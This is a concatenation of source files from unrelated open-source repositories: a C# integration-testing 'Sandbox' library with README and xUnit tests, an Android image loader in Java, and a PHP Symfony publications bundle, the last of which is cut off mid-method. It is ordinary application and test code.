Sandbox takes all the work done with the [RimDev Automation](http://github.com/ritterim) libraries and encapsulates them in a simple to use abstraction aimed at making **integration testing** as easy as *child's play*.


## Getting Started
You can install Sandbox via Nuget.org using the **Sandbox** id.
```
PM> Install-Package RimDev.Sandbox
```
This package will download the following core libraries, which can be used.
- **RimDev.Sandbox.Tranform**
- **RimDev.Sandbox.IisExpress**
- **RimDev.Sandbox.LocalDb**
which in turn utilize the RimDev Automation Libraries:
- [RimDev.Automation.Sql](http://github.com/ritterim/automation-sql)
- [RimDev.Automation.Transform](http://github.com/ritterim/automation-transform)
- [RimDev.Automation.WebHosting](http://github.com/ritterim/automation-webhosting)
Then all you need to do is create a new Sandbox and register the necessary grains, which is done via extension methods.
```csharp
var sandbox = new Sandbox
.UseIisExpress(pathToSite)
.UseTransform()
.UseLocalDb();
using (var sb = sandbox.Play() as dynamic) {
var endpoint = sb.IisExpress.HttpEndpoint as string;
var database = sb.LocalDb.Instance as LocalDb;
var webConfig = Path.Combine(sb.IisExpress.WorkingDirectory, "web.config") as string;
var transform = sb.Transform.Instance as ConfigurationTransformer;
transform
.SetSourceFromFile(webConfig)
.Transform.InsertConnectionString("test", database.ConnectionString);
transform.Apply(webConfig);
// Your IisExpress is now configured with a database
// that we just created!
// Do some integration testing!
Assert.IsAwesome(); // TRUE
}
```
## How It Works
Sandbox wants to isolate your integration tests as much as possible so we create a **unique sandbox folder** under the current user's temp directory. This temp directory will house any file system artifacts generated by the specific **grains** registered to the sandbox.
**Grains** are the specific components you will use. They are registered to the Sandbox via extension methods. The **name** of the grain is registered to the sandbox and then can be accessed later *dynamically*.
### Grain Access (Dynamic)
The sandbox is a dynamic object. This gives you a nice syntax to access registered grains.
```csharp
var sandbox = new Sandbox().UseLocalDb() as dynamic;
LocalDb database = sandbox.LocalDb as LocalDb;
```
You can also change the name of the registered grain using the registration method.
```csharp
var sandbox = new Sandbox().UseLocalDb(name: "Test") as dynamic;
LocalDb database = sandbox.Test as LocalDb;
```
Additionally, your application may need **more than one** instance of any grain. ***The only caveat, is that each new grain must have a different name***.
```csharp
var sandbox = new Sandbox().UseLocalDb(name: "One").UseLocalDb(name:"Two") as dynamic;
LocalDb one = sandbox.One as LocalDb;
LocalDb two = sandbox.Two as LocalDb;
```
### Grain Access (Static)
If you hate the word **dynamic** then we have you covered. You can still access grains via a simple method call.
```csharp
var sandbox = new Sandbox().UseLocalDb();
var database = sandbox.Get<LocalDbGrain>("LocalDb");
```
## All In One Sample
The sample below utilizes all the current grains in one use case. The steps below create a working demo.
1. Create a new Sandbox
2. Register Transform
3. Register IisExpress
4. Register LocalDb
5. Modify the web.config of the Web App with the connection string
6. Create tables and data using the database
7. Make a web request to the new instance
```csharp
public class MashupTests
{
public const string Aspx =
@"
<%@ Page Language=""C#""%>
<html>
<head>
<title>Hello World!</title>
</head>
<body>
<%
var connectionString = System.Configuration.ConfigurationManager.ConnectionStrings[""test""].ConnectionString;
using (var connection = new System.Data.SqlClient.SqlConnection(connectionString)) {
connection.Open();
var command = connection.CreateCommand();
command.CommandText = ""Select PersonID, FirstName, LastName from Persons"";
using (var reader = command.ExecuteReader()) {
if (reader.HasRows) {
while(reader.Read()) {
Response.Write(""<p>"" + reader.GetInt32(0) + "" "" + reader.GetString(1) + "" "" + reader.GetString(2) + ""</p>"");
}
}
else
{
Response.Write(""<p>No rows found.</p>"");
}
}
}
%>
</body>
</html>";
[Fact]
public void Can_use_iisexpress_localdb_and_transform()
{
var path = CreateTempTestDirectory(Aspx);
var sandbox =
new Sandbox()
.UseTranform()
.UseIisExpress(path)
.UseLocalDb();
using (sandbox.Play())
{
var box = sandbox as dynamic;
var webConfig = Path.Combine(box.IisExpress.WorkingDirectory, "web.config") as string;
var transform = box.Transform.Instance as ConfigurationTransformer;
var database = box.LocalDb.Instance as RimDev.Automation.Sql.LocalDb;
transform
.SetSourceFromFile(webConfig)
.Transform.InsertConnectionString("test", database.ConnectionString);
transform.Apply(webConfig);
using (var connection = database.OpenConnection())
{
var command = connection.CreateCommand();
command.CommandText =
"CREATE TABLE Persons (PersonID int,LastName varchar(255),FirstName varchar(255));";
command.ExecuteNonQuery();
}
using (var connection = database.OpenConnection())
{
var command = connection.CreateCommand();
command.CommandText =
"Insert Into Persons (PersonID, LastName, FirstName) Values (1, 'Test', 'User');";
command.ExecuteNonQuery();
}
var url = string.Format("{0}/index.aspx",box.IisExpress.HttpEndpoint);
var response = Get(url);
Assert.Contains("Test", response);
Assert.Contains("User", response);
Assert.Contains("1", response);
}
}
private string CreateTempTestDirectory(string content)
{
string path = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
File.WriteAllText(Path.Combine(path, "index.aspx"), content);
File.WriteAllText(Path.Combine(path, "web.config"), "<?xml version=\"1.0\"?><configuration><system.web><compilation debug=\"true\"/></system.web><connectionStrings/><system.webServer><defaultDocument enabled=\"true\"><files><clear /><add value=\"index.html\" /></files></defaultDocument></system.webServer></configuration>");
return path;
}
private static string Get(string url)
{
var request = WebRequest.CreateHttp(url);
using (var response = request.GetResponse())
{
using (var reader = new StreamReader(response.GetResponseStream()))
{
return reader.ReadToEnd();
}
}
}
}
```
## Thanks
Thanks to [Ritter IM](http://ritterim.com) for supporting OSS.
<file_sep>/src/Core/Sandbox.cs
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.AccessControl;
using System.Threading;
namespace RimDev.Sandbox
{
public class Sandbox : Expando, IDisposable
{
public Sandbox()
{
Id = Path.GetRandomFileName();
Description = string.Format("Sandbox <{0}>", Id);
Location = Path.Combine(Path.GetTempPath(), string.Format("sandbox_{0}", Id));
Principal = "Everyone";
}
public string Id { get; protected set; }
public Sandbox SetPermissionPrinicipal(string user)
{
Principal = user;
return this;
}
public string Principal { get; protected set; }
public string Description { get; protected set; }
public string Location { get; protected set; }
public Sandbox Play()
{
CreateTemporaryDirectory();
Grains.ToList().ForEach(x => x.Setup(this));
return this;
}
private void CreateTemporaryDirectory()
{
if (!Directory.Exists(Location))
Directory.CreateDirectory(Location);
}
public void Dispose()
{
Grains.ToList().ForEach(x => x.Dispose());
TryDeleteFilesAndFoldersRecursively(Location);
}
public static void TryDeleteFilesAndFoldersRecursively(string directory)
{
for (var count = 0; count < 3; count++)
{
try
{
Directory.Delete(directory, true);
return;
}
catch (IOException)
{
count++;
Thread.Sleep(1);
}
catch (UnauthorizedAccessException)
{
// shrug ?
}
}
}
public IList<IGrain> Grains
{
get
{
return Properties
.Select(x => x.Value)
.Where(x => x is IGrain)
.Cast<IGrain>()
.ToList();
}
}
public void SetDirectoryPermissions(string path, string user = null)
{
SetDirectoryPermissions(new DirectoryInfo(path), user);
}
public void SetDirectoryPermissions(DirectoryInfo directory, string user = null)
{
var security = directory.GetAccessControl();
security.AddAccessRule(
new FileSystemAccessRule(user ?? Principal,
FileSystemRights.FullControl | FileSystemRights.Read | FileSystemRights.ReadAndExecute | FileSystemRights.Modify,
InheritanceFlags.ObjectInherit | InheritanceFlags.ContainerInherit, PropagationFlags.InheritOnly,
AccessControlType.Allow));
directory.SetAccessControl(security);
}
public void CopyAll(DirectoryInfo source, DirectoryInfo target)
{
// Check if the target directory exists; if not, create it.
if (!Directory.Exists(target.FullName))
{
Directory.CreateDirectory(target.FullName);
}
// Copy each file into the new directory.
foreach (var fi in source.GetFiles())
{
Trace.WriteLine(string.Format(@"Copying {0}\{1}", target.FullName, fi.Name));
fi.CopyTo(Path.Combine(target.FullName, fi.Name), true);
}
// Copy each subdirectory using recursion.
foreach (var subDirectory in source.GetDirectories())
{
DirectoryInfo nextTargetSubDir =
target.CreateSubdirectory(subDirectory.Name);
CopyAll(subDirectory, nextTargetSubDir);
}
}
public Sandbox Add<TGrain>(TGrain grain)
where TGrain : IGrain
{
if (!Exists(grain.Name, true))
{
this[grain.Name] = grain;
}
return this;
}
public bool Exists(string grainName, bool throwOnExists = false)
{
var exists = Properties.ContainsKey(grainName);
if (throwOnExists && exists)
throw new ArgumentException(string.Format("Grain with name \"{0}\" already exists in sandbox, please use another.", grainName), "grainName");
return exists;
}
public TGrain Get<TGrain>(string name)
where TGrain : IGrain
{
if (Exists(name))
{
return (TGrain)this[name];
}
return default(TGrain);
}
public string CreateGrainDirectory(IGrain grain)
{
var grainFolder = Path.Combine(Location, grain.Name);
Directory.CreateDirectory(grainFolder);
SetDirectoryPermissions(grainFolder);
return grainFolder;
}
}
}
<file_sep>/tests/IisExpress.Tests/IisExpressGrainTests.cs
using System.IO;
using System.Net;
using Xunit;
namespace RimDev.Sandbox.IisExpress
{
public class IisExpressGrainTests
{
public const string Html = "<html><body><h1>Hello World!</h1></body></html>";
public const string Aspx =
@"
<%@ Page Language=""C#""%>
<html>
<head>
<title>Hello World!</title>
</head>
<body>
<% for (int i=1; i <7; i++)
{ %>
<font size="" <%=i%>""> C# inside aspx! </font> <br>
<% }
Response.Write(""<p><cite>COOL</cite>"");
%>
</body>
</html>";
[Fact]
public void Can_register_with_sandbox_using_defaults()
{
var sandbox = new Sandbox().UseIisExpress("");
Assert.True(sandbox.Exists(IisExpressGrainExtensions.DefaultName));
}
[Fact]
public void Can_register_with_sandbox_using_other_name()
{
var sandbox = new Sandbox().UseIisExpress("Test", (sb, cfg) => cfg.WithSource(""));
Assert.True(sandbox.Exists("Test"));
}
[Fact]
public void Can_spin_up_web_site()
{
var site = CreateTempTestDirectory();
using (var sandbox = new Sandbox().UseIisExpress(site).Play())
{
var sb = sandbox as dynamic;
var url = sb.IisExpress.HttpEndpoint;
var response = Get(url);
Assert.Equal(Html, response);
}
}
[Fact]
public void IisExpress_supports_aspx_page()
{
var site = CreateTempTestDirectory("aspx", Aspx);
using (var sandbox = new Sandbox().UseIisExpress(site).Play())
{
var sb = sandbox as dynamic;
var url = string.Format("{0}/index.aspx", sb.IisExpress.HttpEndpoint);
var response = Get(url);
Assert.Contains("COOL", response);
}
}
private string CreateTempTestDirectory(string extension = "html", string content = Html)
{
string path = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
File.WriteAllText(Path.Combine(path, string.Format("index.{0}", extension)), content);
File.WriteAllText(Path.Combine(path, "web.config"), "<?xml version=\"1.0\"?><configuration><system.webServer><defaultDocument enabled=\"true\"><files><clear /><add value=\"index.html\" /></files></defaultDocument></system.webServer></configuration>");
return path;
}
private static string Get(string url)
{
var request = WebRequest.CreateHttp(url);
using (var response = request.GetResponse())
{
using (var reader = new StreamReader(response.GetResponseStream()))
{
return reader.ReadToEnd();
}
}
}
}
}
<file_sep>/src/Transform/TransformGrain.cs
using System;
using RimDev.Automation.Transform;
namespace RimDev.Sandbox.Transform
{
public class TransformGrain : IGrain
{
public TransformGrain(string name)
{
if (name == null) throw new ArgumentNullException("name");
Name = name;
}
public ConfigurationTransformer Instance { get; protected set; }
public void Dispose()
{
if (Instance != null)
Instance.Dispose();
}
public string Name { get; protected set; }
public void Setup(Sandbox sandbox)
{
Instance = new ConfigurationTransformer();
}
}
}
<file_sep>/tests/Intersection.Tests/MashupTests.cs
using System.IO;
using System.Net;
using RimDev.Automation.Transform;
using RimDev.Sandbox.IisExpress;
using RimDev.Sandbox.LocalDb;
using RimDev.Sandbox.Transform;
using Xunit;
namespace RimDev.Sandbox.Intersection
{
public class MashupTests
{
public const string Aspx =
@"
<%@ Page Language=""C#""%>
<html>
<head>
<title>Hello World!</title>
</head>
<body>
<%
var connectionString = System.Configuration.ConfigurationManager.ConnectionStrings[""test""].ConnectionString;
using (var connection = new System.Data.SqlClient.SqlConnection(connectionString)) {
connection.Open();
var command = connection.CreateCommand();
command.CommandText = ""Select PersonID, FirstName, LastName from Persons"";
using (var reader = command.ExecuteReader()) {
if (reader.HasRows) {
while(reader.Read()) {
Response.Write(""<p>"" + reader.GetInt32(0) + "" "" + reader.GetString(1) + "" "" + reader.GetString(2) + ""</p>"");
}
}
else
{
Response.Write(""<p>No rows found.</p>"");
}
}
}
%>
</body>
</html>";
[Fact]
public void Can_use_iisexpress_localdb_and_transform()
{
var path = CreateTempTestDirectory(Aspx);
var sandbox =
new Sandbox()
.UseTranform()
.UseIisExpress(path)
.UseLocalDb();
using (sandbox.Play())
{
var box = sandbox as dynamic;
var webConfig = Path.Combine(box.IisExpress.WorkingDirectory, "web.config") as string;
var transform = box.Transform.Instance as ConfigurationTransformer;
var database = box.LocalDb.Instance as RimDev.Automation.Sql.LocalDb;
transform
.SetSourceFromFile(webConfig)
.Transform.InsertConnectionString("test", database.ConnectionString);
transform.Apply(webConfig);
using (var connection = database.OpenConnection())
{
var command = connection.CreateCommand();
command.CommandText =
"CREATE TABLE Persons (PersonID int,LastName varchar(255),FirstName varchar(255));";
command.ExecuteNonQuery();
}
using (var connection = database.OpenConnection())
{
var command = connection.CreateCommand();
command.CommandText =
"Insert Into Persons (PersonID, LastName, FirstName) Values (1, 'Test', 'User');";
command.ExecuteNonQuery();
}
var url = string.Format("{0}/index.aspx",box.IisExpress.HttpEndpoint);
var response = Get(url);
Assert.Contains("Test", response);
Assert.Contains("User", response);
Assert.Contains("1", response);
}
}
private string CreateTempTestDirectory(string content)
{
string path = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
if (!Directory.Exists(path))
Directory.CreateDirectory(path);
File.WriteAllText(Path.Combine(path, "index.aspx"), content);
File.WriteAllText(Path.Combine(path, "web.config"), "<?xml version=\"1.0\"?><configuration><system.web><compilation debug=\"true\"/></system.web><connectionStrings/><system.webServer><defaultDocument enabled=\"true\"><files><clear /><add value=\"index.html\" /></files></defaultDocument></system.webServer></configuration>");
return path;
}
private static string Get(string url)
{
var request = WebRequest.CreateHttp(url);
using (var response = request.GetResponse())
{
using (var reader = new StreamReader(response.GetResponseStream()))
{
return reader.ReadToEnd();
}
}
}
}
}
<file_sep>/src/LocalDb/Properties/AssemblyInfo.cs
using System.Reflection;
using System.Runtime.InteropServices;
[assembly: AssemblyTitle("Sandbox.LocalDb")]
[assembly: AssemblyProduct("Sandbox.LocalDb")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyCompany("Ritter Insurance Marketing, LLC")]
[assembly: AssemblyCopyright("Copyright © 2014 Ritter Insurance Marketing, LLC")]
#if !DEBUG
[assembly: AssemblyConfiguration("Release")]
#else
[assembly: AssemblyConfiguration("Debug")]
#endif
[assembly: ComVisible(false)]
<file_sep>/src/Core/IGrain.cs
using System;
namespace RimDev.Sandbox
{
public interface IGrain : IDisposable
{
string Name { get; }
void Setup(Sandbox sandbox);
}
} | 9b72d0a0c96ed834e29b64f69e6564964e2ea9de | [
"Markdown",
"C#"
] | 17 | C# | ritterim/sandbox | 89c7ae21777192a302ca08635e75d7005c38204b | 801c86ac336f987232b4b00b17803fb16326e3de |
refs/heads/master | <file_sep>package com.zhanghao.imageloader;
import android.graphics.drawable.BitmapDrawable;
import android.widget.ImageView;
/**
* Created by zhanghao on 17-9-26.
*/
class RequestResult {
BitmapDrawable bitmapDrawable;
ImageView imageView;
RequestResult(BitmapDrawable bitmapDrawable, ImageView imageView) {
this.bitmapDrawable = bitmapDrawable;
this.imageView = imageView;
}
}
<file_sep>package com.zhanghao.imageloader;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Looper;
import android.util.Log;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.nio.Buffer;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.ResponseBody;
/**
* Created by zhanghao on 17-9-22.
*/
public class ImageRequest {
private static final String TAG = "ImageRequest";
private static final int IO_BUFFER_SIZE = 8 * 1024;
private ImageCache mImageCache = null;
private boolean mIsDiskLruCacheCreated = false;
private OkHttpClient mHttpClient;
public ImageRequest(Context context) {
mImageCache = new ImageCache(context);
mIsDiskLruCacheCreated = mImageCache.isDiskLruCacheCreated();
initOkHttpClient();
}
private void initOkHttpClient(){
mHttpClient = new OkHttpClient();
}
public Bitmap request(String url){
return request(url,0,0);
}
public Bitmap request(String url,int reqWidth,int reqHeight){
Bitmap bitmap = requestFromMemoryCache(url);
if (bitmap!=null){
Log.d(TAG, "request: from lruCache");
return bitmap;
}
bitmap = requestFromDiskCache(url,reqWidth,reqHeight);
if (bitmap!=null){
Log.d(TAG, "request: from diskLruCache");
return bitmap;
}
bitmap = requestFromHttp(url,reqWidth,reqHeight);
if (bitmap != null){
Log.d(TAG, "request: from http");
return bitmap;
}
return null;
}
public Bitmap requestFromMemoryCache(String key){
return mImageCache.getBitmapFromMemoryCache(key);
}
public Bitmap requestFromDiskCache(String url,int reqWidth,int reqHeight){
return mImageCache.getBitmapFromDiskCache(url,reqWidth,reqHeight);
}
public Bitmap requestFromHttp(String url,int reqWidth,int reqHeight){
return requestFromURLConnection(url,reqWidth,reqHeight);
}
/**
* 使用url请求图片,并且加入DiskLruCache
* @param url
* @param reqWidth
* @param reqHeight
* @return bitmap
*/
private Bitmap requestFromURLConnection(String url, int reqWidth, int reqHeight) {
if (Looper.myLooper() == Looper.getMainLooper()){
throw new IllegalStateException("You must call this method on the main thread");
}
if (mIsDiskLruCacheCreated){
//diskLruCache创建成功了
Log.d(TAG, "requestFromURLConnection: diskLruCache is created");
try {
String key = mImageCache.hashKeyFromUrl(url);
DiskLruCache.Editor editor = mImageCache.getDiskLruCache().edit(key);
if (editor!=null){
OutputStream outputStream = editor.newOutputStream(mImageCache.getDiskCacheIndex());
if (saveBitmapIntoDiskLruCache(url,outputStream)){
editor.commit();
}else{
editor.abort();
}
mImageCache.flush();
}
} catch (IOException e) {
e.printStackTrace();
}
return requestFromDiskCache(url,reqWidth,reqHeight);
}else{
//diskLruCache创建失败了
Log.d(TAG, "requestFromURLConnection: diskLruCache is not created");
return requestFromURLConnection(url);
}
}
/**
* 使用url请求图片,适用于diskLruCache创建失败的情况
* @param url
* @return
*/
private Bitmap requestFromURLConnection(String url){
Request request =
new Request.Builder().url(url).build();
InputStream inputStream;
try {
ResponseBody response = mHttpClient.newCall(request).execute().body();
if (response!=null){
inputStream = response.byteStream();
Bitmap bitmap = BitmapFactory.decodeStream(inputStream);
mImageCache.addBitmapIntoMemoryCache(url, bitmap);
return bitmap;
}
} catch (IOException e) {
e.printStackTrace();
return null;
}
return null;
}
private boolean saveBitmapIntoDiskLruCache(String url,OutputStream outputStream){
Request request = new Request.Builder()
.url(url).build();
try {
ResponseBody response = mHttpClient.newCall(request).execute().body();
if (response != null) {
InputStream inputStream = response.byteStream();
BufferedOutputStream out = new BufferedOutputStream(outputStream, IO_BUFFER_SIZE);
int b;
while ((b = inputStream.read()) != -1) {
out.write(b);
}
return true;
}else{
return false;
}
} catch (IOException e) {
e.printStackTrace();
return false;
}
}
}
| 3db98440d06155c29e5dab3b9496a8643273f5a0 | [
"Java"
] | 2 | Java | mask-hao/SimpleImageLoader | d192e7d7ff96dbf9c7e4e000506132da16fc93de | 5964e7f4f3a39b54c90bdd942ee5aa157ed9016a |
refs/heads/master | <file_sep><?php
namespace Fenrizbes\PublicationsBundle;
use Symfony\Component\HttpKernel\Bundle\Bundle;
class FenrizbesPublicationsBundle extends Bundle
{
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Admin;
use Fenrizbes\PublicationsBundle\Model\Publication;
use Fenrizbes\PublicationsBundle\Model\PublicationQuery;
use Fenrizbes\PublicationsBundle\Model\PublicationType;
use Fenrizbes\PublicationsBundle\Model\PublicationTypeQuery;
use Knp\Menu\MenuItem;
use Propel\PropelBundle\Validator\Constraints\UniqueObject;
use Sonata\AdminBundle\Admin\Admin;
use Sonata\AdminBundle\Datagrid\DatagridMapper;
use Sonata\AdminBundle\Datagrid\ListMapper;
use Sonata\AdminBundle\Form\FormMapper;
use Symfony\Component\Validator\Constraints\Length;
use Symfony\Component\Validator\Constraints\Regex;
class PublicationAdmin extends Admin
{
protected $baseRouteName = 'fenrizbes_publication';
protected $baseRoutePattern = '/fenrizbes/publication/{publication_type_key}';
/**
* @var PublicationType
*/
protected $publication_type;
/**
* @return PublicationType
*/
public function getPublicationType()
{
if (is_null($this->publication_type)) {
$this->publication_type = PublicationTypeQuery::create()->findPk(
$this->getRequest()->get('publication_type_key')
);
}
return $this->publication_type;
}
/**
* {@inheritdoc}
*/
public function generateUrl($name, array $parameters = array(), $absolute = false)
{
$parameters = array_merge(array(
'publication_type_key' => $this->getPublicationType()->getKey()
), $parameters);
return parent::generateUrl($name, $parameters, $absolute);
}
/**
* {@inheritdoc}
*/
public function getBreadcrumbs($action)
{
$breadcrumbs = parent::getBreadcrumbs($action);
$menu = $this->menuFactory->createItem('root');
$menu = $menu->addChild(
$this->trans($this->getLabelTranslatorStrategy()->getLabel('publication_type_list', 'breadcrumb', 'link')),
array('uri' => $this->routeGenerator->generate('fenrizbes_publication_type_list'))
);
array_splice($breadcrumbs, 1, 0, array($menu));
/** @var MenuItem $banner_list_menu */
$banner_list_menu = $breadcrumbs[2];
$banner_list_menu->setName(
$this->trans($this->getLabelTranslatorStrategy()->getLabel(
sprintf('%s_list', $this->getClassnameLabel()), 'breadcrumb', 'link'
)) .' "'. $this->getPublicationType()->getTitle() .'"'
);
return $breadcrumbs;
}
/**
* {@inheritdoc}
*/
public function createQuery($context = 'list')
{
/** @var PublicationQuery $query */
$query = parent::createQuery($context);
$query->filterByPublicationType($this->getPublicationType());
return $query;
}
/**
* {@inheritdoc}
*/
public function getSubject()
{
$subject = parent::getSubject();
if ($subject instanceof Publication) {
$subject->setPublicationType($this->getPublicationType());
}
return $subject;
}
/**
* {@inheritdoc}
*/
protected $datagridValues = array(
'_sort_order' => 'desc',
'_sort_by' => 'created_at'
);
/**
* The format for datetime fields
*
* @var string
*/
protected $datetime_format;
/**
* FormType's name for the content field
*
* @var string|null
*/
protected $content_editor;
/**
* Sets the datetime format
*
* @param string $format
*/
public function setDateTimeFormat($format)
{
$this->datetime_format = $format;
}
/**
* Sets the content field's type
*
* @param string|null $editor
*/
public function setContentEditor($editor)
{
$this->content_editor = $editor;
}
/**
* {@inheritdoc}
*/
protected function configureDatagridFilters(DatagridMapper $datagridMapper)
{
$datagridMapper
->add('Title', null, array(
'label' => 'fp.label.admin.publication.title'
))
->add('IsPublished', null, array(
'label' => 'fp.label.admin.publication.is_published'
))
;
}
/**
* {@inheritdoc}
*/
protected function configureListFields(ListMapper $listMapper)
{
$listMapper
->addIdentifier('Title', null, array(
'label' => 'fp.label.admin.publication.title'
))
->add('IsPublished', null, array(
'label' => 'fp.label.admin.publication.is_published'
))
->add('CreatedAt', null, array(
'label' => 'fp.label.admin.publication.created_at',
'format' => $this->datetime_format
))
->add('UpdatedAt', null, array(
'label' => 'fp.label.admin.publication.updated_at',
'format' => $this->datetime_format
))
->add('_action', 'actions', array(
'label' => 'fp.label.admin.actions',
'sortable' => false,
'actions' => array(
'edit' => array(),
'delete' => array()
)
))
;
}
/**
* {@inheritdoc}
*/
protected function configureFormFields(FormMapper $formMapper)
{
$formMapper
->tab('fp.label.admin.publication.tab_main')
->with('')
->add('Title', null, array(
'label' => 'fp.label.admin.publication.title',
'constraints' => array(
new Length(array(
'max' => 255,
'minMessage' => 'fp.constraint.longer_than_255'
))
)
))
->add('Content', $this->content_editor, array(
'label' => 'fp.label.admin.publication.content'
))
->add('IsPublished', null, array(
'label' => 'fp.label.admin.publication.is_published',
'required' => false
))
->end()
->end()
->tab('fp.label.admin.publication.tab_image')
->with('')
->add('CroppableImage', 'croppable', array(
'translation_domain' => $this->getTranslationDomain(),
'label' => 'fp.label.admin.publication.image',
'width' => 140,
'height' => 95
))
->end()
->end()
->tab('fp.label.admin.publication.tab_additional')
->with('')
->add('Slug', null, array(
'label' => 'fp.label.admin.publication.slug',
'constraints' => array(
new Regex(array(
'pattern' => '/^[\w\-]+$/',
'message' => 'fp.constraint.not_alphanumeric'
))
)
))
->add('Announcement', null, array(
'label' => 'fp.label.admin.publication.announcement'
))
->add('CreatedAt', 'datetime_no_intl_picker', array(
'label' => 'fp.label.admin.publication.created_at',
'format' => $this->datetime_format,
'required' => false
))
->end()
->end()
->setHelps(array(
'Slug' => 'fp.label.admin.hint.slug',
'Announcement' => 'fp.label.admin.hint.announcement',
'CreatedAt' => 'fp.label.admin.hint.created_at'
))
;
}
/**
* @param Publication $object
* @return mixed|void
*/
public function preUpdate($object)
{
if (is_null($object->getCreatedAt())) {
$object->setCreatedAt(new \DateTime());
}
}
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Model;
use Fenrizbes\PublicationsBundle\Model\om\BasePublicationQuery;
use Symfony\Component\DependencyInjection\Container;
class PublicationQuery extends BasePublicationQuery
{
/**
* Applies base filters
*
* @param string|null $type_key
* @return PublicationQuery
*/
public function applyBaseFilter($type_key = null)
{
return $this
->filterByIsPublished(true)
->filterByCreatedAt(new \DateTime(), \Criteria::LESS_EQUAL)
->_if(!is_null($type_key))
->filterByPublicationTypeKey($type_key)
->_endif()
;
}
/**
* Applies the sorting by date
*
* @param string|null $sort_order
* @return PublicationQuery
*/
public function applySorting($sort_order = null)
{
return $this
->_if(!is_null($sort_order))
->orderByCreatedAt($sort_order)
->_endif()
;
}
/**
* Applies the random sorting
*
* @return PublicationQuery
*/
public function sortRandomly()
{
return $this->addAscendingOrderByColumn('rand()');
}
/**
* Applies the limitation and returns a publication or a collection of publications
*
* @param $limit
* @return array|mixed|\PropelObjectCollection|Publication
*/
public function findWithLimit($limit)
{
$this->limit($limit);
if ($limit === 1) {
return $this->findOne();
}
return $this->find();
}
/**
* Applies the filter by year
*
* @param string|int $value
* @return PublicationQuery
* @throws \Exception
*/
public function filterByYear($value)
{
if (is_null($value)) {
return $this;
}
if (!preg_match('/^\d{4}$/', $value)) {
throw new \Exception('Incorrect year value: '. $value);
}
return $this->filterByCreatedAt(array(
'min' => $value .'-01-01 00:00:00',
'max' => $value .'-12-31 23:59:59'
));
}
/**
* Applies the filter by month
*
* @param string $value
* @return PublicationQuery
* @throws \Exception
*/
public function filterByMonth($value)
{
if (is_null($value)) {
return $this;
}
if (!preg_match('/^\d{4}\-\d{2}$/', $value)) {
throw new \Exception('Incorrect month value: '. $value);
}
$datetime = new \DateTime($value .'-01 00:00:00');
return $this->filterByCreatedAt(array(
'min' => $datetime->format('Y-m-d H:i:s'),
'max' => $datetime->format('Y-m-t 23:59:59')
));
}
/**
* Applies the filter by day
*
* @param string $value
* @return PublicationQuery
* @throws \Exception
*/
public function filterByDay($value)
{
if (is_null($value)) {
return $this;
}
if (!preg_match('/^\d{4}\-\d{2}\-\d{2}$/', $value)) {
throw new \Exception('Incorrect day value: '. $value);
}
return $this->filterByCreatedAt(array(
'min' => $value .' 00:00:00',
'max' => $value .' 23:59:59'
));
}
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Model;
use Fenrizbes\PublicationsBundle\Model\om\BasePublicationPeer;
class PublicationPeer extends BasePublicationPeer
{
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Model;
use Fenrizbes\PublicationsBundle\Model\om\BasePublicationType;
class PublicationType extends BasePublicationType
{
}
<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Model;
use Fenrizbes\PublicationsBundle\Model\om\BasePublicationTypePeer;
class PublicationTypePeer extends BasePublicationTypePeer
{
}
<file_sep># PublicationsBundle
[](https://scrutinizer-ci.com/g/it-blaster/publications-bundle/?branch=master)
[](https://scrutinizer-ci.com/g/it-blaster/publications-bundle/build-status/master) [](https://packagist.org/packages/it-blaster/publications-bundle)
[](https://packagist.org/packages/it-blaster/publications-bundle)
[](https://packagist.org/packages/it-blaster/publications-bundle)
[](https://packagist.org/packages/it-blaster/publications-bundle)
WIP<file_sep><?php
namespace Fenrizbes\PublicationsBundle\Service;
use Fenrizbes\PublicationsBundle\Model\Publication;
use Fenrizbes\PublicationsBundle\Model\PublicationQuery;
class PublicationsService
{
/**
* Returns a piece of news by its slug
*
* @param $slug
* @param null $type_key
* @param null $criteria
* @return Publication
*/
public function findOne($slug, $type_key = null, $criteria = null)
{
return PublicationQuery::create(null, $criteria)
->applyBaseFilter($type_key)
->filterBySlug($slug)
->findOne()
;
}
/**
* Returns a propel's pager
*
* @param string|null $type_key
* @param int $limit
* @param int $page
* @param string $sort_order
* @param null $criteria
* @return \PropelModelPager
*/
public function find($type_key = null, $limit = 10, $page = 1, $sort_order = \Criteria::DESC, $criteria = null)
{
return PublicationQuery::create(null, $criteria)
->applyBaseFilter($type_key)
->applySorting($sort_order)
->paginate($page, $limit)
;
}
/**
* Returns a random set of publications
*
* @param string|null $type_key
* @param int $limit
* @param null $criteria
* @return \PropelObjectCollection|Publication|null
*/
public function getRandom($type_key = null, $limit = 1, $criteria = null)
{
return PublicationQuery::create(null, $criteria)
->applyBaseFilter($type_key)
->sortRandomly()
->findWithLimit($limit)
;
}
/**
* Returns next publications
*
* @param Publication $current
* @param int $limit
* @param null $criteria
* @return \PropelObjectCollection|Publication|null
*/
public function getNext(Publication $current, $limit = 1, $criteria = null)
{
return $this->getSiblings($current, $limit, \Criteria::GREATER_THAN, $criteria);
}
/**
* Returns previous publications
*
* @param Publication $current
* @param int $limit
* @param null $criteria
* @return \PropelObjectCollection|Publication|null
*/
public function getPrevious(Publication $current, $limit = 1, $criteria = null)
{
return $this->getSiblings($current, $limit, \Criteria::LESS_THAN, $criteria);
}
/**
* Returns next or previous publications
*
* @param Publication $current
* @param int $limit
* @param string $comparison
* @param null $criteria
* @return \PropelObjectCollection|Publication|null
*/
protected function getSiblings(Publication $current, $limit, $comparison, $criteria = null)
{
return PublicationQuery::create(null, $criteria)
